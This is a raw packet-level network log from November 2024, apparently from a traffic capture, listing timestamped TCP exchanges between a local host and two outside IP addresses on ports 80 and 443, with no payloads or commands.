Nov 25, 2024 16:21:37.087903976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.088624954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.088685036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.088992119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.089042902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.089627981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.089648008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.089778900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.090605974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.090651989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.090944052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.090984106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.091612101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.091666937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.092706919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.092720032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.092736959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.092750072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.092780113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.093636036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.093705893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.155697107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.275984049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.345585108 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.345655918 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.345909119 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.346193075 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.346213102 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.346441031 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.346600056 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.346652031 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.347363949 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.347368956 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.347379923 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.347385883 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.349486113 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.349512100 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.349623919 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.350544930 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.350588083 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.350652933 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.350774050 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.350788116 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.350919962 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.350927114 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.385760069 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.385837078 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.385938883 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.386609077 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.386621952 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.386632919 CET	49811	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.386637926 CET	443	49811	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.388745070 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.388776064 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.388854027 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.388999939 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.389014959 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.432557106 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.432635069 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.432791948 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.432929993 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.432943106 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.432951927 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.432957888 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.436320066 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.436353922 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.436484098 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.437815905 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.437828064 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.499341011 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.499413967 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.499475956 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.499655962 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.499669075 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.499677896 CET	49812	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.499681950 CET	443	49812	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.536763906 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.536793947 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.536856890 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.538857937 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:37.538868904 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:37.606436014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.606543064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.606760025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.606808901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.606921911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.606960058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.607094049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.607125044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.607139111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.607512951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.608087063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.608136892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.608156919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.608169079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.609052896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.609112024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.609250069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.609319925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.610069990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.610236883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.610292912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.611030102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.611102104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.611267090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.611327887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.612046003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.612082005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.612104893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.612118006 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.612999916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.613069057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.613089085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.613131046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.614026070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.614037991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.614077091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.614093065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.615000010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.615010977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.615046978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.615983963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.616075039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.616255045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.616322041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.617077112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.617089033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.617126942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.617999077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.618011951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.618042946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.618055105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.618935108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.618993998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.619443893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.619505882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.619935036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.619976044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.619987965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.620013952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.620940924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.620990038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.621231079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.621279955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.621918917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.621964931 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.622276068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.622333050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.623034954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.623049021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.623091936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.624222994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.624273062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.625605106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.625617981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.625631094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.625652075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.625921965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.626786947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.626835108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.627095938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.627178907 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.627641916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.627655029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.627697945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.628645897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.628691912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.628745079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.628815889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.629455090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.629501104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.629527092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.629570007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.630347013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.630389929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.630392075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.630438089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.631333113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.631345034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.631386042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.631397963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.632164001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.632184029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.632227898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.633008003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.633142948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.633246899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.633286953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.633837938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.633882999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.634282112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.634326935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.634888887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.634902000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.634939909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.634968042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.635871887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.635884047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.635921001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.636868954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.636881113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.636920929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.636938095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.637856960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.637870073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.637908936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.638834953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.638896942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.638926983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.638983965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.639816046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.639853001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.639895916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.640886068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.640923977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.640944958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.640960932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.641904116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.641918898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.641943932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.641969919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.642901897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.642961979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.643001080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.643040895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.643793106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.643837929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.644445896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.644515991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.644777060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.644843102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.644896030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.645781040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.645827055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.646012068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.646055937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.646752119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.646927118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.647006035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.647044897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.647866964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.647898912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.647913933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.647937059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.648767948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.648817062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.649068117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.649203062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.649780989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.650018930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.650039911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.650259018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.650732040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.650782108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.651525021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.651732922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.651834011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.651849031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.651892900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.652734995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.652847052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.653613091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.653671026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.653754950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.653795004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.654196978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.654283047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.654779911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.654853106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.655184984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.655229092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.655735970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.655818939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.655848026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.655881882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.656708956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.656759024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.656804085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.657740116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.657763004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.657788038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.657805920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.800687075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.800705910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.800765991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.800991058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.801003933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.801043034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.801846027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.801887989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.801928043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.801969051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.802679062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.802723885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.802762032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.802798986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.803828001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.803843975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.803872108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.803889990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.804795027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.804837942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.804866076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.804903030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.805524111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.805562973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.805649042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.805690050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.806293964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.806339979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.806430101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.806534052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.807086945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.807130098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.807188988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.807246923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.807960033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.807976007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.807997942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.808015108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.808831930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.808918953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.808943987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.808958054 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.809475899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.809520960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.809520960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.809559107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.810337067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.810405016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.810501099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.810549021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.811134100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.811177969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.811265945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.811302900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.812115908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.812160015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:37.812191963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:37.812228918 CET	49765	80	192.168.2.5	185.215.113.206
